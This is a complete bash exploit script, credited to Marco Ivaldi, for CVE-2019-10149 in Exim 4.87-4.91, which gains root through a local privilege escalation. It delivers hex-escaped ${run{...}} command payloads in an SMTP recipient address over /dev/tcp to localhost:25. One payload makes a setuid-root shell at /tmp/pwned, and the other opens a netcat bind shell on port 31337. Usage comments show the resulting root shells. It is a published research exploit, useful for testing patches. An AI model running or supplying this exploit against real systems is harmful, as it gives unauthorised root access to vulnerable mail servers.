#!/bin/bash

#
# raptor_exim_wiz - "The Return of the WIZard" LPE exploit
# Copyright (c) 2019 Marco Ivaldi <raptor@0xdeadbeef.info>
#
# A flaw was found in Exim versions 4.87 to 4.91 (inclusive). 
# Improper validation of recipient address in deliver_message() 
# function in /src/deliver.c may lead to remote command execution.
# (CVE-2019-10149)
#
# This is a local privilege escalation exploit for "The Return 
# of the WIZard" vulnerability reported by the Qualys Security 
# Advisory team.
#
# Credits:
# Qualys Security Advisory team (kudos for your amazing research!)
# Dennis 'dhn' Herrmann (/dev/tcp technique)
#
# Usage (setuid method):
# $ id
# uid=1000(raptor) gid=1000(raptor) groups=1000(raptor) [...]
# $ ./raptor_exim_wiz -m setuid
# Preparing setuid shell helper...
# Delivering setuid payload...
# [...]
# Waiting 5 seconds...
# -rwsr-xr-x 1 root raptor 8744 Jun 16 13:03 /tmp/pwned
# # id
# uid=0(root) gid=0(root) groups=0(root)
#
# Usage (netcat method):
# $ id
# uid=1000(raptor) gid=1000(raptor) groups=1000(raptor) [...]
# $ ./raptor_exim_wiz -m netcat
# Delivering netcat payload...
# Waiting 5 seconds...
# localhost [127.0.0.1] 31337 (?) open
# id
# uid=0(root) gid=0(root) groups=0(root)
#
# Vulnerable platforms:
# Exim 4.87 - 4.91
#
# Tested against:
# Exim 4.89 on Debian GNU/Linux 9 (stretch) [exim-4.89.tar.xz]
#

METHOD="setuid" # default method
PAYLOAD_SETUID='${run{\x2fbin\x2fsh\t-c\t\x22chown\troot\t\x2ftmp\x2fpwned\x3bchmod\t4755\t\x2ftmp\x2fpwned\x22}}@localhost'
PAYLOAD_NETCAT='${run{\x2fbin\x2fsh\t-c\t\x22nc\t-lp\t31337\t-e\t\x2fbin\x2fsh\x22}}@localhost'

# usage instructions
function usage()
{
  echo "$0 [-m METHOD]"
  echo
  echo "-m setuid : use the setuid payload (default)"
  echo "-m netcat : use the netcat payload"
  echo
  exit 1
}

# payload delivery
function exploit()
{
  # connect to localhost:25
  exec 3<>/dev/tcp/localhost/25

  # deliver the payload
  read -u 3 && echo $REPLY
  echo "helo localhost" >&3
  read -u 3 && echo $REPLY
  echo "mail from:<>" >&3
  read -u 3 && echo $REPLY
  echo "rcpt to:<$PAYLOAD>" >&3
  read -u 3 && echo $REPLY
  echo "data" >&3
  read -u 3 && echo $REPLY
  for i in {1..31}
  do
    echo "Received: $i" >&3
  done
  echo "." >&3
  read -u 3 && echo $REPLY
  echo "quit" >&3
  read -u 3 && echo $REPLY
}

# print banner
echo
echo 'raptor_exim_wiz - "The Return of the WIZard" LPE exploit'
echo 'Copyright (c) 2019 Marco Ivaldi <raptor@0xdeadbeef.info>'
echo

# parse command line
while [ ! -z "$1" ]; do
  case $1 in
    -m) shift; METHOD="$1"; shift;;
    * ) usage
    ;;
  esac
done
if [ -z $METHOD ]; then
  usage
fi

# setuid method
if [ $METHOD = "setuid" ]; then

  # prepare a setuid shell helper to circumvent bash checks
  echo "Preparing setuid shell helper..."
  echo "main(){setuid(0);setgid(0);system(\"/bin/sh\");}" >/tmp/pwned.c
  gcc -o /tmp/pwned /tmp/pwned.c 2>/dev/null
  if [ $? -ne 0 ]; then
    echo "Problems compiling setuid shell helper, check your gcc."
    echo "Falling back to the /bin/sh method."
    cp /bin/sh /tmp/pwned
  fi
  echo

  # select and deliver the payload
  echo "Delivering $METHOD payload..."
  PAYLOAD=$PAYLOAD_SETUID
  exploit
  echo

  # wait for the magic to happen and spawn our shell
  echo "Waiting 5 seconds..."
  sleep 5
  ls -l /tmp/pwned
  /tmp/pwned

# netcat method
elif [ $METHOD = "netcat" ]; then

  # select and deliver the payload
  echo "Delivering $METHOD payload..."
  PAYLOAD=$PAYLOAD_NETCAT
  exploit
  echo

  # wait for the magic to happen and spawn our shell
  echo "Waiting 5 seconds..."
  sleep 5
  nc -v 127.0.0.1 31337

# print help
else
  usage
fi